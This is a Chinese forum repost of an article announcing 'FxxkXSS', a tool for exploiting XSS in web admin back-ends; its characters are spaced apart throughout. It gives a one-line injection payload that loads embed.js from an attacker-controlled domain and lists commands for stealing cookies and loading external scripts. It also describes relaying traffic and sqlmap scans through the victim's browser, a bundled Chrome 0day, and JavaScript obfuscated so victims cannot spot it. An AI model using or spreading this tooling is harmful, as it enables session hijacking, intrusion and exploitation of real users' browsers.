搜索

[1885] 2021-04-14_后台XSS利用工具-FxxkXSS正式发布！

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-16
2021-04-14_后台XSS利用工具-FxxkXSS正式发布！ 后 台 X S S 利 用 工 具 - F x x k X S S 正 式 发 布 ！ Y e u o l y   D a y 1 安 全 团 队   2 0 2 1 - 0 4 - 1 4 之 前 很 长 一 段 时 间 ， 经 常 会 碰 到 后 台 X S S 的 这 种 漏 洞 ， 每 次 碰 到 这 样 的 漏 洞 我 都 会 有 种 想 干 穿 对 方 后 台 的 冲 动 ， 但 是 每 一 次 打 后 台 都 要 用 不 同 的 p a y l o a d （ 很 多 s r c 不 允 许 打 c o o k i e ， 更 多 时 候 又 有 h t t p o n l y ） ， 还 要 打 好 几 遍 ， 有 时 候 想 测 注 入 吧 ， 又 麻 烦 得 很 ， 于 是 就 开 始 思 考 ， 能 不 能 然 这 个 过 程 简 化 一 些 呢 ？ 最 后 ， 就 有 了 这 个 工 具 的 诞 生   当 然 啦 我 之 前 也 看 到 过 很 多 同 类 的 工 具 ， 但 是 用 着 总 还 是 不 够 顺 心 ， 于 是 秉 着 造 轮 子 工 程 师 的 执 念 开 始 了 造 轮 子   （ 注 ： 有 C S P 的 话 就 没 太 大 办 法 了 ， 除 非 是 能 绕 过 的 C S P ）   使 用 说 明 ： 打 开 界 面 ， 填 写 设 置 ， 先 不 开 启 h t t p s 资 源 域 名 即 给 外 网 访 问 的 域 名 ， 代 理 域 名 什 么 都 行 ， 但 有 一 个 要 求 ， 其 子 域 名 全 部 指 向 ， 即 下 面 的 端 口 号 在 不 了 解 原 理 的 情 况 下 最 好 不 要 改   如 果 需 要 开 启 h t t p s ， 那 就 把 c e r t 和 k e y 的 路 径 填 好 再 打 开 开 关 （ h t t p s 的 网 站 不 允 许 w s 等 不 安 全 的 协 议 重 启 f x x k x s s 开 启 端 口 转 发 ： 这 里 使 用 了 一 个 公 网 服 务 器 作 为 代 理 ， 用 的 是 f r p ， 本 地 的 做 了 如 下 配 置 1 2 7 . 0 . 0 . 1 * . a a . c o m   - >   1 2 7 . 0 . 0 . 1 f r p c . i n i
然 后 执 行 一 句 话 p a y l o a d ： d o c u m e n t . b o d y . a p p e n d C h i l d ( d o c u m e n t . c r e a t e E l e m e n t ( ' s c r i p t ' ) ) . s r c =   ' h t t p s : / / 资 源 域 名 : 2 5 5 6 8 / e m b e d . j s ' 然 后 我 们 就 会 拿 到 这 个 浏 览 器 的 会 话 我 这 里 内 置 了 最 新 的 C h r o m e   0 d a y （ 这 个 e x p 不 能 跑 沙 箱 )   贴 出 源 地 址 ： h t t p s : / / g i t h u b . c o m / r 4 j 0 x 0 0 / e x p l o i t s 我 们 跑 几 个 简 单 的 指 令 看 看 （ 下 面 是 内 置 好 的 指 令 ） / g e t / c o o k i e   获 取 能 读 到 的 c o o k i e / g e t / b r o w s e r / t y p e   获 取 浏 览 器 名 / g e t / b r o w s e r / v e r s i o n   获 取 浏 览 器 版 本 号 / g e t / l o c a t i o n   获 取 l o c a t i o n . h r e f / l o a d / j s   h t t p : / / x x x . c o m   加 载 外 部 j s / l o a d / c s s   h t t p : / / x x x . c o m   加 载 外 部 c s s / g e n e r a t e / p r o x y _ u r l   u r l ， 为 u r l 生 成 代 理 u r l
也 可 以 直 接 跑 J S 代 码 也 可 以 在 右 边 的 框 框 里 编 辑 代 码 然 后 执 行 p a y l o a d
下 一 步 ， 这 个 工 具 的 硬 核 功 能 ： 代 理   我 们 以 B 站 为 例 ， 首 先 在 动 态 首 页 执 行 一 句 话 p a y l o a d 然 后 在 工 具 中 执 行   / g e n e r a t e / p r o x y _ u r l   h t t p s : / / t . b i l i b i l i . c o m /
复 制 代 理 u r l ， 然 后 在 后 面 添 加     再 去 访 问 这 个 u r l 下 一 步 ， 在 这 个 页 面 里 发 送 一 个 动 态 ? f x x k x s s _ p r o x y = t r u e
然 后 去 真 实 的 页 面 里 看 看 代 理 执 行 成 功 下 一 个 重 量 级 用 法 ： s q l m a p   这 里 我 搭 建 了 一 个 本 地 靶 机 然 后 在 这 个 页 面 中 执 行 一 句 话 p a y l o a d
生 成 代 理 u r l 最 后 ， 把 这 个 u r l 丢 到 s q l m a p 里 跑 最 后 结 果
这 个 工 具 还 有 很 多 其 他 的 玩 法 ， 可 以 自 己 探 索 咯 （ 开 发 团 队 吃 人 啦   ） 原 理 ： 先 说 一 下 技 术 选 型 ， 我 想 要 这 个 工 具 能 够 支 持 把 被 x s s 的 浏 览 器 当 代 理 用 ， 同 时 能 够 自 定 义 执 行 一 些 p a y l o a d ， 并 实 时 拿 到 反 馈 ， 那 么 在 本 地 ， 我 们 首 先 需 要 一 个 服 务 用 于 处 理 代 理 请 求 ， 所 以 需 要 一 个 h t t p 服 务 ， 同 时 还 要 有 一 个 用 于 的 服 务 ， 再 然 后 ， 我 希 望 有 一 个 服 务 可 以 当 作 远 程 资 源 服 务 器 ， 所 以 还 要 再 开 一 个 h t t p 服 务 ， 总 共 三 个 服 务 ， 这 么 多 服 务 塞 一 起 ， 还 要 有 能 方 便 地 点 点 点 ， 这 些 服 务 之 间 的 数 据 还 要 能 共 通 ， 那 么 我 们 的 答 案 有 了 ： 1 . 首 先 要 解 决 的 就 是 能 够 像 R C E 一 样 用 J S 操 作 被 害 者 的 浏 览 器 ， 这 里 选 择 的 是 ， 这 个 方 案 也 是 大 多 数 现 在 市 面 工 具 用 的 方 案 ， 首 先 用 建 立 一 个 长 连 接 ， 对 每 一 条 攻 击 者 发 来 的 消 息 都 进 行 e v a l 但 是 这 个 p a y l o a d 有 点 长 ， 所 以 我 们 选 择 将 其 放 在 一 个 里 面 2 . 这 是 一 个 最 简 单 的 逻 辑 ， 接 下 来 我 们 就 要 对 它 做 点 文 章 ， 需 要 能 够 支 持 回 传 而 且 不 会 那 么 轻 易 被 发 现 ， 于 是 我 混 淆 了 J S 和 加 密 了 传 输 P a y l o a d ， 同 时 给 了 一 个 接 口 用 来 回 传   下 面 是 没 混 淆 的 代 码 片 段 W e b s o c k e t U I E l e c t r o n W e b s o c k e t W e b s o c k e t e m b e d . j s
使 用 C r y t o J S 的 A E S 模 块 进 行 加 解 密 ， 每 个 传 输 的 密 钥 都 是 不 同 的 ， 会 在 连 接 建 立 初 期 发 送 一 个 密 钥 用 于 之 后 的 加 解 密 ， 同 时 提 供 了 一 个 用 于 更 改 密 钥 的 功 能   下 面 是 混 淆 后 的 代 码 现 在 就 有 点 魔 鬼 了 ， 一 般 的 人 应 该 是 查 不 出 来 3 . 下 一 步 ， 自 定 义 指 令 模 块 ， 我 希 望 这 个 工 具 可 以 能 够 自 定 义 一 些 指 令 ， 或 者 编 写 长 p a y l o a d   所 以 我 使 用 了 来 编 写 长 p a y l o a d ， 自 己 写 了 一 个 指 令 模 块 a c e - e d i t o r
在 这 里 可 以 自 定 义 指 令 ， 完 成 一 些 简 单 的 命 令 传 输 ， 其 中 是 在 中 就 被 定 义 好 的 一 些 工 具 函 数 ， 下 面 是 用 做 了 一 个 自 定 义 长 p a y l o a d 的 东 西 ， 还 可 以 塞 个 C h r o m e   8 9 的 d a y 进 去 4 . 下 一 步 ， 我 们 来 做 代 理 了 ， 我 们 希 望 我 们 所 有 的 请 求 都 转 给 被 x s s 的 浏 览 器   所 以 我 就 搞 了 这 么 一 个 规 范   首 先 在 本 地 的 1 0 0 9 3 端 口 开 了 一 个 h t t p 服 务 ， 然 后 搞 了 个 泛 子 域 名 指 向 ， 即     然 后 假 设 我 们 想 让 被 x s s 的 浏 览 器 访 问 ， 那 么 我 们 就 该 这 么 访 问 ：   w i n d o w . c a c h e x . u t i l s e m b e d . j s a c e - e d i t o r 1 2 7 . 0 . 0 . 1 * . b . c o m   - >   1 2 7 . 0 . 0 . 1 h t t p s : / / a . c o m h t t p s . 4 4 3 . a . c o m . s 0 . b . c o m
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理